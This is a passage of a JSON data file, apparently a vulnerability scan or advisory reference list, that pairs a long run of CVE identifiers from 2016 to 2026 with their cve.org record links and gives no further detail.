      "name": "CVE-2025-12060",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-12060"
    },
    {
      "name": "CVE-2026-44621",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44621"
    },
    {
      "name": "CVE-2025-47914",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-47914"
    },
    {
      "name": "CVE-2026-66299",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-66299"
    },
    {
      "name": "CVE-2026-53793",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53793"
    },
    {
      "name": "CVE-2024-25621",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-25621"
    },
    {
      "name": "CVE-2025-9403",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-9403"
    },
    {
      "name": "CVE-2026-25681",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-25681"
    },
    {
      "name": "CVE-2026-86248",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-86248"
    },
    {
      "name": "CVE-2026-107386",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-107386"
    },
    {
      "name": "CVE-2025-69418",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-69418"
    },
    {
      "name": "CVE-2025-8114",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-8114"
    },
    {
      "name": "CVE-2026-112899",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112899"
    },
    {
      "name": "CVE-2026-96643",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-96643"
    },
    {
      "name": "CVE-2026-86469",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-86469"
    },
    {
      "name": "CVE-2016-20013",
      "url": "https://www.cve.org/CVERecord?id=CVE-2016-20013"
    },
    {
      "name": "CVE-2026-11979",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-11979"
    },
    {
      "name": "CVE-2025-32387",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-32387"
    },
    {
      "name": "CVE-2026-71556",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-71556"
    },
    {
      "name": "CVE-2026-54517",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54517"
    },
    {
      "name": "CVE-2025-66864",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-66864"
    },
    {
      "name": "CVE-2025-22869",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-22869"
    },
    {
      "name": "CVE-2026-93990",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93990"
    },
    {
      "name": "CVE-2026-89160",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-89160"
    },
    {
      "name": "CVE-2026-62380",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-62380"
    },
    {
      "name": "CVE-2026-119371",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-119371"
    },
    {
      "name": "CVE-2026-43896",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-43896"
    },
    {
      "name": "CVE-2026-4437",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-4437"
    },
    {
      "name": "CVE-2026-1299",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-1299"
    },
    {
      "name": "CVE-2026-63385",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63385"
    },
    {
      "name": "CVE-2025-1150",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-1150"
    },
    {
      "name": "CVE-2026-53803",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53803"
    },
    {
      "name": "CVE-2025-58189",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-58189"
    },
    {
      "name": "CVE-2026-50248",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50248"
    },
    {
      "name": "CVE-2025-6021",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-6021"
    },
    {
      "name": "CVE-2026-63387",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63387"
    },
    {
      "name": "CVE-2024-29902",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-29902"
    },
    {
      "name": "CVE-2026-0968",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-0968"
    },
    {
      "name": "CVE-2024-10978",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-10978"
    },
    {
      "name": "CVE-2026-78669",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78669"
    },
    {
      "name": "CVE-2020-23026",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-23026"
    },
    {
      "name": "CVE-2026-8925",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-8925"
    },
    {
      "name": "CVE-2023-7008",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-7008"
    },
    {
      "name": "CVE-2026-3644",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-3644"
    },
    {
      "name": "CVE-2026-89044",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-89044"
    },
    {
      "name": "CVE-2026-78661",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78661"
    },
    {
      "name": "CVE-2026-70174",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-70174"
    },
    {
      "name": "CVE-2026-27140",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-27140"
    },
    {
      "name": "CVE-2026-93575",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93575"
    },
    {
      "name": "CVE-2026-39817",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39817"
    },
    {
      "name": "CVE-2026-56409",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56409"
    },
    {
      "name": "CVE-2026-32316",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-32316"
    },
    {
      "name": "CVE-2026-65905",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65905"
    },
    {
      "name": "CVE-2026-42499",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42499"
    },
    {
      "name": "CVE-2026-81869",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-81869"
    },
    {
      "name": "CVE-2023-47039",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-47039"
    },
    {
      "name": "CVE-2026-76642",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-76642"
    },
    {
      "name": "CVE-2022-40896",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-40896"
    },
    {
      "name": "CVE-2026-56745",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56745"
    },
    {
      "name": "CVE-2026-44604",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44604"
    },
    {
      "name": "CVE-2026-89161",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-89161"
    },
    {
      "name": "CVE-2026-89158",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-89158"
    },
    {
      "name": "CVE-2016-2781",
      "url": "https://www.cve.org/CVERecord?id=CVE-2016-2781"
    },
    {
      "name": "CVE-2025-8225",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-8225"
    },
    {
      "name": "CVE-2026-42764",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42764"
    },
    {
      "name": "CVE-2023-29383",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-29383"
    },
    {
      "name": "CVE-2026-55955",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-55955"
    },
    {
      "name": "CVE-2026-82049",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-82049"
    },
    {
      "name": "CVE-2025-70559",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-70559"
    },
    {
      "name": "CVE-2026-93488",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93488"
    },
    {
      "name": "CVE-2026-86144",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-86144"
    },
    {
      "name": "CVE-2026-31789",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-31789"
    },
    {
      "name": "CVE-2026-79676",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-79676"
    },
    {
      "name": "CVE-2025-22870",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-22870"
    },
    {
      "name": "CVE-2026-42311",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42311"
    },
    {
      "name": "CVE-2026-75803",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-75803"
    },
    {
      "name": "CVE-2026-54872",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54872"
    },
    {
      "name": "CVE-2026-8643",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-8643"
    },
    {
      "name": "CVE-2025-11413",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-11413"
    },
    {
      "name": "CVE-2026-5773",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-5773"
    },
    {
      "name": "CVE-2025-5245",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-5245"
    },
    {
      "name": "CVE-2026-80231",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-80231"
    },
    {
      "name": "CVE-2026-19487",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-19487"
    },
    {
      "name": "CVE-2026-57585",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-57585"
    },
    {
      "name": "CVE-2025-32415",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-32415"
    },
    {
      "name": "CVE-2026-8927",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-8927"
    },
    {
      "name": "CVE-2026-68770",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68770"
    },
    {
      "name": "CVE-2026-48043",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-48043"
    },
    {
      "name": "CVE-2026-5745",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-5745"
    },
    {
      "name": "CVE-2026-41889",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41889"
    },
    {
      "name": "CVE-2024-23337",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-23337"
    },
    {
      "name": "CVE-2026-112396",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112396"
    },
    {
      "name": "CVE-2026-54411",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54411"
    },
    {
      "name": "CVE-2026-42310",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42310"
    },
    {
      "name": "CVE-2026-12072",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12072"
    },
    {
      "name": "CVE-2026-54513",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54513"
    },
    {
      "name": "CVE-2026-27139",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-27139"
    },
    {
      "name": "CVE-2026-112402",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112402"
    },
    {
      "name": "CVE-2026-42501",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42501"
    },
    {
      "name": "CVE-2025-4207",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-4207"
    },
    {
      "name": "CVE-2026-6276",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6276"
    },
    {
      "name": "CVE-2026-0992",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-0992"
    },
    {
      "name": "CVE-2026-66393",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-66393"
    },
    {
      "name": "CVE-2026-75805",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-75805"
    },
    {
      "name": "CVE-2026-94266",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-94266"
    },
    {
      "name": "CVE-2025-9230",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-9230"
    },
    {
      "name": "CVE-2026-42250",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42250"
    },
    {
      "name": "CVE-2026-65927",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65927"
    },
    {
      "name": "CVE-2025-14009",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-14009"
    },
    {
      "name": "CVE-2026-92388",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-92388"
    },
    {
      "name": "CVE-2025-66564",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-66564"
    },
    {
      "name": "CVE-2026-54518",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54518"
    },
    {
      "name": "CVE-2026-84837",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-84837"
    },
    {
      "name": "CVE-2026-48588",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-48588"
    },
    {
      "name": "CVE-2025-5244",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-5244"
    },
    {
      "name": "CVE-2026-46598",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46598"
    },
    {
      "name": "CVE-2026-6464",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6464"
    },
    {
      "name": "CVE-2026-47244",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47244"
    },
    {
      "name": "CVE-2026-86412",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-86412"
    },
    {
      "name": "CVE-2026-53434",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53434"
    },
    {
      "name": "CVE-2025-48924",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-48924"
    },
    {
      "name": "CVE-2026-33810",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33810"
    },
    {
      "name": "CVE-2025-15558",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-15558"
    },
    {
      "name": "CVE-2026-112945",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112945"
    },
    {
      "name": "CVE-2026-54448",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54448"
    },
    {
      "name": "CVE-2026-102633",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-102633"
    },
    {
      "name": "CVE-2025-32414",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-32414"
    },
    {
      "name": "CVE-2026-110879",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-110879"
    },
    {
      "name": "CVE-2026-8328",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-8328"
    },
    {
      "name": "CVE-2026-26308",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-26308"
    },
    {
      "name": "CVE-2026-41256",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41256"
    },
    {
      "name": "CVE-2026-9538",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-9538"
    },
    {
      "name": "CVE-2026-6471",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6471"
    },
    {
      "name": "CVE-2026-15806",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15806"
    },
    {
      "name": "CVE-2025-12058",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-12058"
    },
    {
      "name": "CVE-2025-1153",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-1153"
    },
    {
      "name": "CVE-2026-53789",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53789"
    },
    {
      "name": "CVE-2026-2003",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-2003"
    },
    {
      "name": "CVE-2025-15079",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-15079"
    },
    {
      "name": "CVE-2026-2673",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-2673"
    },
    {
      "name": "CVE-2026-57432",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-57432"
    },
    {
      "name": "CVE-2026-55991",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-55991"
    },
    {
      "name": "CVE-2025-1632",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-1632"
    },
    {
      "name": "CVE-2025-11412",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-11412"
    },
    {
      "name": "CVE-2026-105712",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-105712"
    },
    {
      "name": "CVE-2026-53791",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53791"
    },
    {
      "name": "CVE-2026-49834",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-49834"
    },
    {
      "name": "CVE-2026-32282",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-32282"
    },
    {
      "name": "CVE-2026-5958",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-5958"
    },
    {
      "name": "CVE-2026-33762",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33762"
    },
    {
      "name": "CVE-2026-65915",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65915"
    },
    {
      "name": "CVE-2026-3184",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-3184"
    },
    {
      "name": "CVE-2026-50151",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50151"
    },
    {
      "name": "CVE-2026-63381",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63381"
    },
    {
      "name": "CVE-2026-11972",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-11972"
    },
    {
      "name": "CVE-2026-55830",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-55830"
    },
    {
      "name": "CVE-2025-68121",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-68121"
    },
    {
      "name": "CVE-2024-40896",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40896"
    },
    {
      "name": "CVE-2025-2099",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-2099"
    },
    {
      "name": "CVE-2025-1194",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-1194"
    },
    {
      "name": "CVE-2025-6638",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-6638"
    },
    {
      "name": "CVE-2026-93572",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93572"
    },
    {
      "name": "CVE-2026-97873",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-97873"
    },
    {
      "name": "CVE-2026-75973",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-75973"
    },
    {
      "name": "CVE-2026-111064",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-111064"
    },
    {
      "name": "CVE-2026-18477",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18477"
    },
    {
      "name": "CVE-2025-14819",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-14819"
    },
    {
      "name": "CVE-2025-24928",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-24928"
    },
    {
      "name": "CVE-2026-14679",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14679"
    },
    {
      "name": "CVE-2025-11065",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-11065"
    },
    {
      "name": "CVE-2026-107708",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-107708"
    },
    {
      "name": "CVE-2026-70461",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-70461"
    },
    {
      "name": "CVE-2026-95838",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-95838"
    },
    {
      "name": "CVE-2026-46597",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46597"
    },
    {
      "name": "CVE-2026-73073",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-73073"
    },
    {
      "name": "CVE-2026-12259",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12259"
    },
    {
      "name": "CVE-2026-112401",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112401"
    },
    {
      "name": "CVE-2026-4786",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-4786"
    },
    {
      "name": "CVE-2026-1484",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-1484"
    },
    {
      "name": "CVE-2025-4947",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-4947"
    },
    {
      "name": "CVE-2026-48775",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-48775"
    },
    {
      "name": "CVE-2026-72522",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-72522"
    },
    {
      "name": "CVE-2026-27141",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-27141"
    },
    {
      "name": "CVE-2025-61726",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-61726"
    },
    {
      "name": "CVE-2026-59902",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59902"
    },
    {
      "name": "CVE-2025-1094",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-1094"
    },
    {
      "name": "CVE-2026-112391",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112391"
    },
    {
      "name": "CVE-2026-5704",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-5704"
    },
    {
      "name": "CVE-2026-89407",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-89407"
    },
    {
      "name": "CVE-2026-34182",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34182"
    },
    {
      "name": "CVE-2026-49835",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-49835"
    },
    {
      "name": "CVE-2026-18503",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18503"
    },
    {
      "name": "CVE-2026-10879",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-10879"
    },
    {
      "name": "CVE-2026-86138",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-86138"
    },
    {
      "name": "CVE-2026-4372",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-4372"
    },
    {
      "name": "CVE-2026-47691",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47691"
    },
    {
      "name": "CVE-2022-24975",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-24975"
    },
    {
      "name": "CVE-2025-21614",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-21614"
    },
    {
      "name": "CVE-2026-6019",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6019"
    },
    {
      "name": "CVE-2026-11816",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-11816"
    },
    {
      "name": "CVE-2025-3198",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-3198"
    },
    {
      "name": "CVE-2026-78662",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78662"
    },
    {
      "name": "CVE-2026-76816",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-76816"
    },
    {
      "name": "CVE-2026-87697",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-87697"
    },
    {
      "name": "CVE-2026-96641",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-96641"
    },
    {
      "name": "CVE-2026-19542",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-19542"
    },
    {
      "name": "CVE-2025-54388",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-54388"
    },
    {
      "name": "CVE-2026-59847",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59847"
    },
    {
      "name": "CVE-2026-9149",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-9149"
    },
    {
      "name": "CVE-2026-86140",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-86140"
    },
    {
      "name": "CVE-2025-59419",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-59419"
    },
    {
      "name": "CVE-2026-74860",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-74860"
    },
    {
      "name": "CVE-2025-49796",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-49796"
    },
    {
      "name": "CVE-2025-8058",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-8058"
    },
    {
      "name": "CVE-2026-40930",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40930"
    },
    {
      "name": "CVE-2026-87866",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-87866"
    },
    {
      "name": "CVE-2025-11839",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-11839"
    },
    {
      "name": "CVE-2026-63388",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63388"
    },
    {
      "name": "CVE-2026-1489",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-1489"
    },
    {
      "name": "CVE-2026-9547",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-9547"
    },
    {
      "name": "CVE-2026-81642",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-81642"
    },
    {
      "name": "CVE-2026-41007",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41007"
    },
    {
      "name": "CVE-2026-19666",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-19666"
    },
    {
      "name": "CVE-2026-81722",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-81722"
    },
    {
      "name": "CVE-2026-19032",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-19032"
    },
    {
      "name": "CVE-2026-53404",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53404"
    },
    {
      "name": "CVE-2026-33816",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33816"
    },
    {
      "name": "CVE-2026-82560",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-82560"
    },
    {
      "name": "CVE-2026-56132",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56132"
    },
    {
      "name": "CVE-2026-12372",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12372"
    },
    {
      "name": "CVE-2026-2004",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-2004"
    },
    {
      "name": "CVE-2026-0672",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-0672"
    },
    {
      "name": "CVE-2026-49839",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-49839"
    },
    {
      "name": "CVE-2026-93446",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93446"
    },
    {
      "name": "CVE-2026-96229",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-96229"
    },
    {
      "name": "CVE-2026-47770",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47770"
    },
    {
      "name": "CVE-2026-41246",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41246"
    },
    {
      "name": "CVE-2026-33481",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33481"
    },
    {
      "name": "CVE-2026-54874",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54874"
    },
    {
      "name": "CVE-2026-67213",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-67213"
    },
    {
      "name": "CVE-2026-71557",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-71557"
    },
    {
      "name": "CVE-2026-55833",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-55833"
    },
    {
      "name": "CVE-2025-30204",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-30204"
    },
    {
      "name": "CVE-2026-18938",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18938"
    },
    {
      "name": "CVE-2018-6952",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-6952"
    },
    {
      "name": "CVE-2026-114690",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-114690"
    },
    {
      "name": "CVE-2026-24137",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24137"
    },
    {
      "name": "CVE-2025-5914",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-5914"
    },
    {
      "name": "CVE-2026-116591",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-116591"
    },
    {
      "name": "CVE-2017-8806",
      "url": "https://www.cve.org/CVERecord?id=CVE-2017-8806"
    },
    {
      "name": "CVE-2026-59198",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59198"
    },
    {
      "name": "CVE-2026-111749",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-111749"
    },
    {
      "name": "CVE-2026-56851",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56851"
    },
    {
      "name": "CVE-2026-40228",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40228"
    },
    {
      "name": "CVE-2026-85731",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-85731"
    },
    {
      "name": "CVE-2023-31486",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-31486"
    },
    {
      "name": "CVE-2026-34477",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34477"
    },
    {
      "name": "CVE-2026-65902",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65902"
    },
    {
      "name": "CVE-2026-56819",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56819"
    },
    {
      "name": "CVE-2026-106451",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-106451"
    },
    {
      "name": "CVE-2025-1151",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-1151"
    },
    {
      "name": "CVE-2024-24786",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-24786"
    },
    {
      "name": "CVE-2026-7210",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-7210"
    },
    {
      "name": "CVE-2026-33231",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33231"
    },
    {
      "name": "CVE-2026-52863",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-52863"
    },
    {
      "name": "CVE-2026-70197",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-70197"
    },
    {
      "name": "CVE-2026-7168",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-7168"
    },
    {
      "name": "CVE-2026-40691",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40691"
    },
    {
      "name": "CVE-2026-14664",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14664"
    },
    {
      "name": "CVE-2026-9856",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-9856"
    },
    {
      "name": "CVE-2019-20633",
      "url": "https://www.cve.org/CVERecord?id=CVE-2019-20633"
    },
    {
      "name": "CVE-2026-103242",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-103242"
    },
    {
      "name": "CVE-2026-76957",
